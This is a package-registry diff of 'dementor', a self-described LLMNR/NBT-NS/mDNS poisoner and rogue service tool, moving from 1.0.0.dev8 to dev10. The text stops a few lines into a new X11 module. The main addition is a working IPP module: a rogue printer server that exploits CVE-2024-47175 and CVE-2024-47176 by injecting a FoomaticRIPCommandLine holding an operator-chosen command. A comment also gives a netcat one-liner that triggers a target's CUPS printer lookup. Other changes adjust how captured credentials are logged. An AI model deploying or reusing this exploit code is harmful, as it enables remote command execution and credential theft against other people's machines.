dementor 1.0.0.dev8__tar.gz → 1.0.0.dev10__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dementor might be problematic. Click here for more details.

Files changed (60) hide show
  1. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/PKG-INFO +1 -1
  2. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/__init__.py +1 -1
  3. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/config/session.py +2 -0
  4. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/database.py +9 -2
  5. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/http.py +2 -1
  6. dementor-1.0.0.dev10/dementor/protocols/ipp.py +426 -0
  7. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/msrpc.py +18 -14
  8. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/mysql.py +1 -2
  9. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/smb.py +1 -1
  10. dementor-1.0.0.dev10/dementor/protocols/x11.py +272 -0
  11. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor.egg-info/PKG-INFO +1 -1
  12. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor.egg-info/SOURCES.txt +2 -0
  13. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/pyproject.toml +1 -1
  14. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/LICENSE +0 -0
  15. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/README.md +0 -0
  16. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/__main__.py +0 -0
  17. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/assets/Dementor.toml +0 -0
  18. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/assets/banner.txt +0 -0
  19. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/assets/www/error_page.html +0 -0
  20. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/assets/www/wpad.dat +0 -0
  21. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/config/__init__.py +0 -0
  22. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/config/attr.py +0 -0
  23. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/config/toml.py +0 -0
  24. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/config/util.py +0 -0
  25. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/filters.py +0 -0
  26. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/loader.py +0 -0
  27. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/logger.py +0 -0
  28. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/paths.py +0 -0
  29. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/__init__.py +0 -0
  30. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/ftp.py +0 -0
  31. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/imap.py +0 -0
  32. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/kerberos.py +0 -0
  33. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/ldap.py +0 -0
  34. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/llmnr.py +0 -0
  35. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/mdns.py +0 -0
  36. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/__init__.py +0 -0
  37. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/dcom.py +0 -0
  38. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/epm.py +0 -0
  39. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/msrpc/rpc.py +0 -0
  40. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/mssql.py +0 -0
  41. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/netbios.py +0 -0
  42. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/ntlm.py +0 -0
  43. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/pop3.py +0 -0
  44. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/quic.py +0 -0
  45. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/smtp.py +0 -0
  46. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/protocols/spnego.py +0 -0
  47. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/servers.py +0 -0
  48. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor/standalone.py +0 -0
  49. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor.egg-info/dependency_links.txt +0 -0
  50. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor.egg-info/entry_points.txt +0 -0
  51. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor.egg-info/requires.txt +0 -0
  52. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/dementor.egg-info/top_level.txt +0 -0
  53. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/docs/README.pypi.md +0 -0
  54. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/setup.cfg +0 -0
  55. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/test/test_dcerpc.py +0 -0
  56. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/test/test_dcom.py +0 -0
  57. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/test/test_epm.py +0 -0
  58. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/test/test_mssql_auth.py +0 -0
  59. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/test/test_ssl_client.py +0 -0
  60. {dementor-1.0.0.dev8 → dementor-1.0.0.dev10}/test/test_ssl_server.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dementor
3
- Version: 1.0.0.dev8
3
+ Version: 1.0.0.dev10
4
4
  Summary: LLMNR/NBT-NS/mDNS Poisoner and rogue service provider
5
5
  Author: MatrixEditor
6
6
  Maintainer: MatrixEditor
@@ -18,5 +18,5 @@
18
18
  # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
19
  # SOFTWARE.
20
20
 
21
- __version__ = "1.0.0.dev8"
21
+ __version__ = "1.0.0.dev10"
22
22
  __author__ = "MatrixEditor"
@@ -54,6 +54,8 @@ class SessionConfig(TomlConfig):
54
54
  "IMAP",
55
55
  "POP3",
56
56
  "MySQL",
57
+ "X11",
58
+ "IPP",
57
59
  )
58
60
  ]
59
61
 
@@ -166,6 +166,7 @@ class DementorDB:
166
166
  domain: str | None = None,
167
167
  hostname: str | None = None,
168
168
  extras: dict | None = None,
169
+ custom: bool = False,
169
170
  ) -> None:
170
171
  if not logger and not protocol:
171
172
  dm_logger.error(
@@ -235,8 +236,10 @@ class DementorDB:
235
236
  else:
236
237
  raise
237
238
  with dm_console_lock:
239
+ head_text = text if not custom else ""
240
+ credtype = markup.escape(credtype)
238
241
  target_logger.success(
239
- f"Captured {credtype} {text}{full_name} from {client_address}:",
242
+ f"Captured {credtype} {head_text}{full_name} from {client_address}:",
240
243
  host=hostname or client_address,
241
244
  locked=True,
242
245
  )
@@ -248,7 +251,11 @@ class DementorDB:
248
251
  )
249
252
 
250
253
  target_logger.highlight(
251
- f"{credtype} {text}: {markup.escape(password)}",
254
+ (
255
+ f"{credtype} {text}: {markup.escape(password)}"
256
+ if not custom
257
+ else f"{credtype}: {markup.escape(password)}"
258
+ ),
252
259
  host=hostname or client_address,
253
260
  locked=True,
254
261
  )
@@ -264,7 +264,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
264
264
  # let us log mssages
265
265
  text = format % args
266
266
  msg = text.translate(self._control_char_table)
267
- self.logger.debug(f"(http) {msg}")
267
+ self.logger.debug(msg)
268
268
 
269
269
  def send_response(self, code: int, message: str | None = None) -> None:
270
270
  if not hasattr(self, "_headers_buffer"):
@@ -428,6 +428,7 @@ class HTTPHandler(BaseHTTPRequestHandler):
428
428
  password=token.encode().hex(),
429
429
  logger=logger,
430
430
  extras=self.get_extras(),
431
+ custom=True,
431
432
  )
432
433
  self.finish_request(logger)
433
434
 
@@ -0,0 +1,426 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ #
21
+ # Reference:
22
+ # - https://datatracker.ietf.org/doc/html/rfc8010
23
+ # - https://github.com/istopwg/pwg-books/blob/master/ippguide/ippguide.pdf
24
+ #
25
+ # Notes:
26
+ # To trigger a new printer lookup, a specially crafted CUPS browsing request
27
+ # has to be sent over UDP to the CUPS server. The format is as follows:
28
+ #
29
+ # BROWSED_REQUEST := 0 <SPACE> 3 <SPACE> <URL> <SPACE> "<LOCATION>" <SPACE> "<INFO>"
30
+ #
31
+ # The URL must point to the rogue IPP server, INFO can be any string, and
32
+ # LOCATION will be populated to the user when the printer is selected.
33
+ #
34
+ # The following commands can be used to trigger a printer lookup:
35
+ # echo '0 3 http://<IP>:<PORT>/printers/test "loc" "info"' | nc -nu <TARGET_IP> 631
36
+ import socket
37
+
38
+ from http import HTTPStatus
39
+ from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
40
+ from typing import Any
41
+
42
+ from rich import markup
43
+ from pyipp import parser as IppParser, serializer as IppSerializer
44
+ from pyipp.enums import IppOperation, IppPrinterState, IppStatus, IppTag
45
+ from pyipp.tags import ATTRIBUTE_TAG_MAP
46
+
47
+ from dementor.config.toml import Attribute as A, TomlConfig
48
+ from dementor.config.util import format_string
49
+ from dementor.logger import ProtocolLogger, dm_logger
50
+ from dementor.servers import ServerThread, bind_server
51
+ from dementor.database import normalize_client_address
52
+
53
+ # [5.1.10. 'mimeMediaType']
54
+ IPP_MIME_MEDIA_TYPES = [
55
+ "text/html",
56
+ "text/plain",
57
+ "text/plain; charset = US-ASCII",
58
+ "text/plain; charset = ISO-8859-1",
59
+ "text/plain; charset = utf-8",
60
+ "application/postscript",
61
+ "application/vnd.hp-PCL",
62
+ "application/pdf",
63
+ "application/octet-stream",
64
+ ]
65
+
66
+ # [5.4.14. ipp-versions-supported]
67
+ IPP_SUPPORTED_VERSIONS = ["1.0", "1.1", "2.0", "2.1", "2.2"]
68
+
69
+ # Add a few more printer attributes
70
+ ATTRIBUTE_TAG_MAP.update(
71
+ {
72
+ # Table 16: Printer Description Attributes (READ-WRITE)
73
+ "charset-configured": IppTag.CHARSET,
74
+ "charset-supported": IppTag.CHARSET,
75
+ "color-supported": IppTag.BOOLEAN,
76
+ "compression-supported": IppTag.KEYWORD,
77
+ "document-format-default": IppTag.MIME_TYPE,
78
+ "document-format-supported": IppTag.MIME_TYPE,
79
+ "generated-natural-language-supported": IppTag.LANGUAGE,
80
+ "ipp-versions-supported": IppTag.KEYWORD,
81
+ "job-impressions-supported": IppTag.INTEGER,
82
+ "job-k-octets-supported": IppTag.INTEGER,
83
+ "job-media-sheets-supported": IppTag.INTEGER,
84
+ "multiple-document-jobs-supported": IppTag.BOOLEAN,
85
+ "multiple-operation-time-out": IppTag.INTEGER,
86
+ "natural-language-configured": IppTag.LANGUAGE,
87
+ "operations-supported": IppTag.ENUM,
88
+ "pdl-override-supported": IppTag.KEYWORD,
89
+ "printer-driver-installer": IppTag.URI,
90
+ "printer-info": IppTag.TEXT,
91
+ "printer-location": IppTag.TEXT,
92
+ "printer-make-and-model": IppTag.TEXT,
93
+ "printer-message-from-operator": IppTag.TEXT,
94
+ "printer-more-info-manufacturer": IppTag.URI,
95
+ "printer-name": IppTag.NAME,
96
+ "reference-uri-schemes-supported": IppTag.URI_SCHEME,
97
+ # Table 17: Printer Status Attributes (READ-ONLY)
98
+ "pages-per-minute-color": IppTag.INTEGER,
99
+ "pages-per-minute": IppTag.INTEGER,
100
+ "printer-current-time": IppTag.DATE,
101
+ "printer-is-accepting-jobs": IppTag.BOOLEAN,
102
+ "printer-more-info": IppTag.URI,
103
+ "printer-state": IppTag.ENUM,
104
+ "printer-state-message": IppTag.TEXT,
105
+ "printer-state-reasons": IppTag.KEYWORD,
106
+ "printer-up-time": IppTag.INTEGER,
107
+ "printer-uri-supported": IppTag.URI,
108
+ "queued-job-count": IppTag.INTEGER,
109
+ "uri-authentication-supported": IppTag.KEYWORD,
110
+ "uri-security-supported": IppTag.KEYWORD,
111
+ # other
112
+ "printer-privacy-policy-uri": IppTag.URI,
113
+ "printer-dns-sd-name": IppTag.NAME,
114
+ "printer-device-id": IppTag.TEXT,
115
+ }
116
+ )
117
+
118
+
119
+ class IPPConfig(TomlConfig):
120
+ _section_ = "IPP"
121
+ _fields_ = [
122
+ A("ipp_port", "Port", 631),
123
+ A("ipp_server_type", "ServerType", "IPP/1.1", factory=format_string),
124
+ A("ipp_supported_formats", "DocumentFormats", IPP_MIME_MEDIA_TYPES),
125
+ A("ipp_supported_versions", "SupportedVersions", IPP_SUPPORTED_VERSIONS),
126
+ A("ipp_default_format", "DefaultDocumentFormat", "text/plain"),
127
+ A("ipp_driver_uri", "DriverUri", None),
128
+ A("ipp_printer_name", "PrinterName", None),
129
+ A("ipp_printer_info", "PrinterInfo", "Printer Info"),
130
+ A("ipp_printer_location", "PrinterLocation", "outside"),
131
+ A("ipp_printer_model", "PrinterModel", "HP 8.0"),
132
+ A("ipp_extra_attrib", "ExtraAttributes", None),
133
+ A("ipp_extra_headers", "ExtraHeaders", None),
134
+ A("ipp_supported_operations", "SupportedOperations", None),
135
+ A("ipp_remote_cmd", "RemoteCmd", None),
136
+ A("ipp_remote_cmd_attr", "RemoteCmdAttribute", "printer-privacy-policy-uri"),
137
+ A("ipp_remote_cmd_filter", "RemoteCmdCupsFilter", None),
138
+ ]
139
+
140
+ def set_ipp_supported_operations(self, value):
141
+ self.ipp_supported_operations = [
142
+ IppOperation[operation] if isinstance(operation, str) else operation
143
+ for operation in (value or [])
144
+ ]
145
+
146
+ def set_ipp_extra_attrib(self, extra: list):
147
+ # A list of attributes to add to the GET-PRINTER-ATTRIBUTES response.
148
+ # This settings can also be used to add custom attributes to the
149
+ # ATTRIBUTE_TAG_MAP.
150
+ self.ipp_extra_attrib = {}
151
+ for attrib_config in [] if not isinstance(extra, list) else extra:
152
+ name = attrib_config.get("name")
153
+ if not name:
154
+ dm_logger.warning(f"Missing name for extra attribute: {attrib_config}")
155
+ continue
156
+
157
+ tag = attrib_config.get("tag")
158
+ match tag:
159
+ case int():
160
+ ATTRIBUTE_TAG_MAP[name] = IppTag(tag)
161
+ case str():
162
+ ATTRIBUTE_TAG_MAP[name] = IppTag[tag]
163
+ case _:
164
+ dm_logger.warning(f"Invalid tag for extra attribute: {tag!r}")
165
+ continue
166
+
167
+ value = attrib_config.get("value")
168
+ if value is not None:
169
+ self.ipp_extra_attrib[name] = value
170
+
171
+
172
+ def apply_config(session):
173
+ session.ipp_config = TomlConfig.build_config(IPPConfig)
174
+
175
+
176
+ def create_server_threads(session):
177
+ address = (session.bind_address, session.ipp_config.ipp_port)
178
+ if session.ipp_enabled:
179
+ yield ServerThread(
180
+ session, IPPServer, server_address=address, ipv6=bool(session.ipv6)
181
+ )
182
+
183
+
184
+ # --- IPP Constants ---
185
+
186
+ # [4.1.4.2. Response Operation Attributes]
187
+ ATTRIB_CHARSET = "attributes-charset"
188
+ ATTRIB_NATURAL_LANGUAGE = "attributes-natural-language"
189
+
190
+
191
+ class IPPHandler(BaseHTTPRequestHandler):
192
+ default_request_version = "HTTP/1.1"
193
+ request_version = default_request_version
194
+
195
+ def __init__(self, session, config, request, client_address, server) -> None:
196
+ self.config = config # REVISIT: this is confusing
197
+ self.session = session
198
+ self.client_address = client_address
199
+ self.setup_proto_logger()
200
+ super().__init__(request, client_address, server)
201
+
202
+ def setup_proto_logger(self):
203
+ self.logger = ProtocolLogger(
204
+ extra={
205
+ "protocol": "IPP",
206
+ "protocol_color": "spring_green1",
207
+ "host": normalize_client_address(self.client_address[0]),
208
+ "port": self.config.ipp_port,
209
+ }
210
+ )
211
+
212
+ def send_response(self, code: int, message=None, document=None) -> None:
213
+ self.logger.debug(
214
+ markup.escape(f"{self.command} {self.path} {code}"), is_server=True
215
+ )
216
+ if not hasattr(self, "_headers_buffer"):
217
+ self._headers_buffer = []
218
+
219
+ super().send_response(code, message)
220
+ self.send_header("Connection", "close")
221
+ for header in self.config.ipp_extra_headers or []:
222
+ self._headers_buffer.append(f"{header}\r\n".encode("utf-8", "strict"))
223
+
224
+ if document is not None:
225
+ data = IppSerializer.encode_dict(document)
226
+ self.send_header("Content-Type", "application/ipp")
227
+ self.send_header("Content-Length", str(len(data)))
228
+ self.end_headers()
229
+ self.wfile.write(data)
230
+ self.wfile.flush()
231
+
232
+ def version_string(self) -> str:
233
+ return self.config.ipp_server_type
234
+
235
+ @property
236
+ def content_length(self) -> int:
237
+ return int(self.headers.get("Content-Length", 0))
238
+
239
+ @property
240
+ def printer_name(self) -> str:
241
+ return self.config.ipp_printer_name or self.path.split("/")[-1]
242
+
243
+ @property
244
+ def printer_uri(self) -> str:
245
+ address = self.session.ipv4
246
+ return (
247
+ f"ipp://{address}:{self.config.ipp_port}/ipp/printers/{self.printer_name}"
248
+ )
249
+
250
+ def log_message(self, format: str, *args: Any) -> None:
251
+ # let us log mssages
252
+ pass
253
+
254
+ def do_POST(self):
255
+ # handle IPP request
256
+ try:
257
+ data = self.rfile.read(self.content_length)
258
+ self.logger.debug(f"Ipp request data: {data.hex()}", is_client=True)
259
+ req = IppParser.parse(data, contains_data=True)
260
+ except Exception as e:
261
+ self.send_error(HTTPStatus.BAD_REQUEST, "Bad Request")
262
+ return self.logger.debug(f"Invalid IPP request: {e}")
263
+
264
+ major, minor = req["version"]
265
+ req_id = req["request-id"]
266
+ operation = IppOperation(req["status-code"])
267
+ self.logger.display(
268
+ f"IPP-Request: <{operation.name}> (Version: {major}.{minor}, "
269
+ f"ID: {req_id:#x})"
270
+ )
271
+
272
+ method = getattr(self, f"ipp_{operation.name.lower()}", None)
273
+ if method is None:
274
+ self.logger.debug(f"Unknown IPP operation: {operation.name}")
275
+ self.send_error(HTTPStatus.NOT_FOUND, "Not Found")
276
+ else:
277
+ method(req)
278
+
279
+ def ipp_get_printer_attributes(self, req: dict):
280
+ # [4.2.5. Get-Printer-Attributes Operation]
281
+ # This REQUIRED operation allows a Client to request the values of the
282
+ # attributes of a Printer. In the request, the Client supplies the set
283
+ # of Printer attribute names and/or attribute group names in which the
284
+ # requester is interested.
285
+ attrib = req["operation-attributes"]
286
+
287
+ # [4.2.5.2. Get-Printer-Attributes Response]
288
+ resp_attrib = {}
289
+ resp = {
290
+ "version": req["version"],
291
+ # "request-id": req["request-id"],
292
+ "operation": IppStatus.OK,
293
+ "operation-attributes-tag": {
294
+ # Natural Language and Character Set
295
+ ATTRIB_CHARSET: attrib[ATTRIB_CHARSET],
296
+ ATTRIB_NATURAL_LANGUAGE: attrib[ATTRIB_NATURAL_LANGUAGE],
297
+ },
298
+ # "status-message" omitted
299
+ "printer-attributes-tag": resp_attrib,
300
+ }
301
+
302
+ # Table 17: Printer Status Attributes (READ-ONLY)
303
+ # | printer-is-accepting-jobs | boolean | REQUIRED |
304
+ resp_attrib["printer-is-accepting-jobs"] = True
305
+ # | printer-state | type1 enum | REQUIRED |
306
+ resp_attrib["printer-state"] = IppPrinterState.IDLE
307
+ # | printer-state-reasons | 1setOf type2 keyword | REQUIRED |
308
+ # [5.4.12. printer-state-reasons]
309
+ # - 'none': There are no reasons.
310
+ resp_attrib["printer-state-reasons"] = ["none"]
311
+ # | printer-up-time | integer(1:MAX) | REQUIRED |
312
+ resp_attrib["printer-up-time"] = 1 # random.randrange(1, 0xFFFF)
313
+ # | printer-uri-supported | 1setOf uri | REQUIRED |
314
+ resp_attrib["printer-uri-supported"] = [self.printer_uri]
315
+ # | queued-job-count | integer(0:MAX) | REQUIRED |
316
+ resp_attrib["queued-job-count"] = 0
317
+ # | uri-authentication-supported | 1setOf type2 keyword | REQUIRED |
318
+ # [5.4.2. uri-authentication-supported]
319
+ # 'none': There is no authentication mechanism associated with the
320
+ # URI. The Printer assumes that the authenticated user is
321
+ # 'anonymous'.
322
+ resp_attrib["uri-authentication-supported"] = ["none"]
323
+ # | uri-security-supported | 1setOf type2 keyword | REQUIRED |
324
+ resp_attrib["uri-security-supported"] = ["none"]
325
+
326
+ # Table 16: Printer Description Attributes (READ-WRITE)
327
+ # | charset-configured | charset | REQUIRED |
328
+ resp_attrib["charset-configured"] = attrib[ATTRIB_CHARSET]
329
+ # | charset-supported | 1setOf charset | REQUIRED |
330
+ # [5.4.18. charset-supported]
331
+ # At least the value 'utf-8' MUST be present, since IPP objects MUST
332
+ # support the UTF-8 [RFC3629] charset.
333
+ resp_attrib["charset-supported"] = {attrib[ATTRIB_CHARSET], "utf-8"}
334
+ # | color-supported | boolean | RECOMMENDED |
335
+ resp_attrib["color-supported"] = True
336
+ # | compression-supported | 1setOf type2 keyword | REQUIRED |
337
+ resp_attrib["compression-supported"] = ["none"]
338
+ # | document-format-default | mimeMediaType | REQUIRED |
339
+ resp_attrib["document-format-default"] = self.config.ipp_default_format
340
+ # | document-format-supported | 1setOf mimeMediaType | REQUIRED |
341
+ resp_attrib["document-format-supported"] = self.config.ipp_supported_formats
342
+ # | generated-natural-language- | 1setOf | REQUIRED |
343
+ # | supported | naturalLanguage | |
344
+ resp_attrib["generated-natural-language-supported"] = [
345
+ attrib[ATTRIB_NATURAL_LANGUAGE]
346
+ ]
347
+ # | ipp-versions-supported | 1setOf type2 keyword | REQUIRED |
348
+ resp_attrib["ipp-versions-supported"] = self.config.ipp_supported_versions
349
+ # | natural-language-configured | naturalLanguage | REQUIRED |
350
+ resp_attrib["natural-language-configured"] = attrib[ATTRIB_NATURAL_LANGUAGE]
351
+ # | operations-supported | 1setOf type2 enum | REQUIRED |
352
+ # By default, we should support all standard operations
353
+ resp_attrib["operations-supported"] = set(
354
+ self.config.ipp_supported_operations
355
+ ) | {i for i in range(0x002, 0x0013)}
356
+ # | pdl-override-supported | type2 keyword | REQUIRED |
357
+ resp_attrib["pdl-override-supported"] = "not-attempted"
358
+ # | printer-driver-installer | uri | |
359
+ if self.config.ipp_driver_uri:
360
+ resp_attrib["printer-driver-installer"] = self.config.ipp_driver_uri
361
+ # | printer-info | text(127) | RECOMMENDED |
362
+ if self.config.ipp_printer_info:
363
+ resp_attrib["printer-info"] = self.config.ipp_printer_info
364
+ # | printer-location | text(127) | RECOMMENDED |
365
+ if self.config.ipp_printer_location:
366
+ resp_attrib["printer-location"] = self.config.ipp_printer_location
367
+ # | printer-make-and-model | text(127) | RECOMMENDED |
368
+ if self.config.ipp_printer_model:
369
+ resp_attrib["printer-make-and-model"] = self.config.ipp_printer_model
370
+ # | printer-name | name(127) | REQUIRED |
371
+ resp_attrib["printer-name"] = self.printer_name
372
+
373
+ msg = f"Serving IPP printer [i]{markup.escape(self.printer_name)}[/]"
374
+ # CVE-2024-47175, CVE-2024-47176
375
+ if self.config.ipp_remote_cmd:
376
+ cups_filter = (
377
+ self.config.ipp_remote_cmd_filter
378
+ or "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
379
+ )
380
+ value = (
381
+ f'{self.printer_uri}"\n*FoomaticRIPCommandLine: '
382
+ f'"{self.config.ipp_remote_cmd}"\n'
383
+ # The space here is very important!
384
+ f'*cupsFilter2 : "{cups_filter}'
385
+ )
386
+ resp_attrib[self.config.ipp_remote_cmd_attr] = value
387
+ cmd_text = self.config.ipp_remote_cmd
388
+ if len(cmd_text) > 32:
389
+ cmd_text = f"{cmd_text[:32]}..."
390
+ msg = f"{msg} with remote command: {markup.escape(cmd_text)!r}"
391
+
392
+ # allow extra configuration
393
+ for key, value in (self.config.ipp_extra_attrib or {}).items():
394
+ resp_attrib[key] = value
395
+
396
+ self.logger.success(msg)
397
+ self.send_response(HTTPStatus.OK, "OK", resp)
398
+
399
+
400
+ class IPPServer(ThreadingHTTPServer):
401
+ service_name = "IPP"
402
+
403
+ def __init__(
404
+ self,
405
+ session,
406
+ server_address=None,
407
+ RequestHandlerClass=None,
408
+ ipv6=False,
409
+ ) -> None:
410
+ self.config = session
411
+ self.server_config = session.ipp_config
412
+ self.is_ipv6 = ipv6
413
+ if self.is_ipv6:
414
+ self.address_family = socket.AF_INET6
415
+
416
+ address = server_address or (self.config.bind_address, 631)
417
+ super().__init__(address, RequestHandlerClass or IPPHandler)
418
+
419
+ def server_bind(self) -> None:
420
+ bind_server(self, self.config)
421
+ return super().server_bind()
422
+
423
+ def finish_request(self, request, client_address) -> None:
424
+ self.RequestHandlerClass(
425
+ self.config, self.server_config, request, client_address, self
426
+ )
@@ -37,17 +37,21 @@ def create_server_threads(session):
37
37
 
38
38
  # connection data will be shared across both servers
39
39
  conn_data = defaultdict(RPCConnection)
40
- return [
41
- ServerThread(
42
- session,
43
- MSRPCServer,
44
- server_address=(addr, 135),
45
- handles=conn_data,
46
- ),
47
- ServerThread(
48
- session,
49
- MSRPCServer,
50
- server_address=(addr, session.rpc_config.epm_port),
51
- handles=conn_data,
52
- ),
53
- ]
40
+ return (
41
+ [
42
+ ServerThread(
43
+ session,
44
+ MSRPCServer,
45
+ server_address=(addr, 135),
46
+ handles=conn_data,
47
+ ),
48
+ ServerThread(
49
+ session,
50
+ MSRPCServer,
51
+ server_address=(addr, session.rpc_config.epm_port),
52
+ handles=conn_data,
53
+ ),
54
+ ]
55
+ if session.rpc_enabled
56
+ else []
57
+ )
@@ -24,7 +24,6 @@
24
24
  # https://dev.mysql.com/doc/dev/mysql-server/latest/PAGE_PROTOCOL.html
25
25
 
26
26
  import enum
27
- import secrets
28
27
 
29
28
  from typing import Any
30
29
  from collections import OrderedDict
@@ -86,7 +85,7 @@ def create_server_threads(session):
86
85
  MySQLServer,
87
86
  server_address=(session.bind_address, session.mysql_config.mysql_port),
88
87
  )
89
- ]
88
+ ] if session.mysql_enabled else []
90
89
 
91
90
 
92
91
  # --- MySQL Protocol ---
@@ -101,7 +101,7 @@ def apply_config(session):
101
101
 
102
102
  def create_server_threads(session):
103
103
  servers = []
104
- if True: # session.smb_enabled:
104
+ if session.smb_enabled:
105
105
  for server_config in session.smb_config:
106
106
  servers.append(
107
107
  ServerThread(
@@ -0,0 +1,272 @@
1
+ # Copyright (c) 2025-Present MatrixEditor
2
+ #
3
+ # Permission is hereby granted, free of charge, to any person obtaining a copy
4
+ # of this software and associated documentation files (the "Software"), to deal
5
+ # in the Software without restriction, including without limitation the rights
6
+ # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
7
+ # copies of the Software, and to permit persons to whom the Software is
8
+ # furnished to do so, subject to the following conditions:
9
+ #
10
+ # The above copyright notice and this permission notice shall be included in all
11
+ # copies or substantial portions of the Software.
12
+ #
13
+ # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ # SOFTWARE.
20
+ #
21
+ # Reference:
22
+ # - https://x.org/releases/X11R7.7/doc/xproto/x11protocol.html
23
+ # pyright: reportInvalidTypeForm=false, reportCallIssue=false, reportGeneralTypeIssues=false
24
+ from caterpillar import py
25
+
26
+ from dementor.config.toml import Attribute as A, TomlConfig
27
+ from dementor.logger import ProtocolLogger
28
+ from dementor.servers import BaseProtoHandler, ThreadingTCPServer, ServerThread
29
+ from dementor.database import _NO_USER
30
+
31
+
32
+ class X11Config(TomlConfig):
33
+ _section_ = "X11"
34
+ _fields_ = [
35
